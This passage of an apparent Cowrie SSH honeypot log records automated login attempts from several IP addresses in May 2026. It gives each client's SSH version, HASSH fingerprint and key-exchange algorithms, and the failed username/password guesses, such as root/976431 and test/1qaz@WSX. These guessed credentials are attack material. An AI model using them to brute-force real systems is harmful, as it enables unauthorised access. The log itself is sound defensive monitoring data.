@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:43.586164Z","src_ip":"83.168.110.85","session":"7a5b62a57480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:43.952488Z","src_ip":"83.168.110.85","session":"7a5b62a57480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:45.078464Z","src_ip":"83.168.110.85","session":"7a5b62a57480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":35918,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9c0579bddeb","protocol":"ssh","message":"New connection: 103.118.29.129:35918 (159.203.135.109:22) [session: c9c0579bddeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:49.746427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:49.751288Z","src_ip":"103.118.29.129","session":"c9c0579bddeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:49.998597Z","src_ip":"103.118.29.129","session":"c9c0579bddeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"976431","message":"login attempt [root/976431] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:51.019276Z","src_ip":"103.118.29.129","session":"c9c0579bddeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:52.270485Z","src_ip":"103.118.29.129","session":"c9c0579bddeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":49244,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e477ba14101","protocol":"ssh","message":"New connection: 160.251.185.39:49244 (159.203.135.109:22) [session: 8e477ba14101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:52.660353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:52.664996Z","src_ip":"160.251.185.39","session":"8e477ba14101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:52.848968Z","src_ip":"160.251.185.39","session":"8e477ba14101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa123456","message":"login attempt [root/Pa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:53.620511Z","src_ip":"160.251.185.39","session":"8e477ba14101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45786,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3fdfb98a5f1","protocol":"ssh","message":"New connection: 83.168.110.85:45786 (159.203.135.109:22) [session: c3fdfb98a5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:54.073865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:54.079217Z","src_ip":"83.168.110.85","session":"c3fdfb98a5f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:54.199738Z","src_ip":"83.168.110.85","session":"c3fdfb98a5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:54.590876Z","src_ip":"83.168.110.85","session":"c3fdfb98a5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:54.812965Z","src_ip":"160.251.185.39","session":"8e477ba14101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:55.716698Z","src_ip":"83.168.110.85","session":"c3fdfb98a5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":37022,"dst_ip":"10.17.0.5","dst_port":22,"session":"801a794535b3","protocol":"ssh","message":"New connection: 37.233.85.71:37022 (10.17.0.5:22) [session: 801a794535b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:58.914089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:58.919459Z","src_ip":"37.233.85.71","session":"801a794535b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:59.029105Z","src_ip":"37.233.85.71","session":"801a794535b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legion","message":"login attempt [root/legion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:38:59.362104Z","src_ip":"37.233.85.71","session":"801a794535b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:00.474135Z","src_ip":"37.233.85.71","session":"801a794535b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53158,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f75321c0d54","protocol":"ssh","message":"New connection: 83.168.110.85:53158 (159.203.135.109:22) [session: 1f75321c0d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:04.672202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:04.677116Z","src_ip":"83.168.110.85","session":"1f75321c0d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:04.814673Z","src_ip":"83.168.110.85","session":"1f75321c0d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:05.279868Z","src_ip":"83.168.110.85","session":"1f75321c0d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:06.404994Z","src_ip":"83.168.110.85","session":"1f75321c0d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57826,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ab4eb624cc0","protocol":"ssh","message":"New connection: 83.168.110.85:57826 (159.203.135.109:22) [session: 2ab4eb624cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:14.757451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:14.763937Z","src_ip":"83.168.110.85","session":"2ab4eb624cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:14.886751Z","src_ip":"83.168.110.85","session":"2ab4eb624cc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:15.492699Z","src_ip":"83.168.110.85","session":"2ab4eb624cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:16.617655Z","src_ip":"83.168.110.85","session":"2ab4eb624cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":39652,"dst_ip":"159.203.135.109","dst_port":22,"session":"35fa34c30862","protocol":"ssh","message":"New connection: 152.32.171.99:39652 (159.203.135.109:22) [session: 35fa34c30862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:20.705053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:20.710803Z","src_ip":"152.32.171.99","session":"35fa34c30862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:20.931448Z","src_ip":"152.32.171.99","session":"35fa34c30862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zein","message":"login attempt [root/zein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:21.838022Z","src_ip":"152.32.171.99","session":"35fa34c30862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:23.061031Z","src_ip":"152.32.171.99","session":"35fa34c30862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49504,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b449826bc65","protocol":"ssh","message":"New connection: 83.168.110.85:49504 (159.203.135.109:22) [session: 8b449826bc65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:25.032777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:25.037968Z","src_ip":"83.168.110.85","session":"8b449826bc65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:25.235665Z","src_ip":"83.168.110.85","session":"8b449826bc65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:25.828531Z","src_ip":"83.168.110.85","session":"8b449826bc65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:26.952827Z","src_ip":"83.168.110.85","session":"8b449826bc65","protocol":"ssh"}
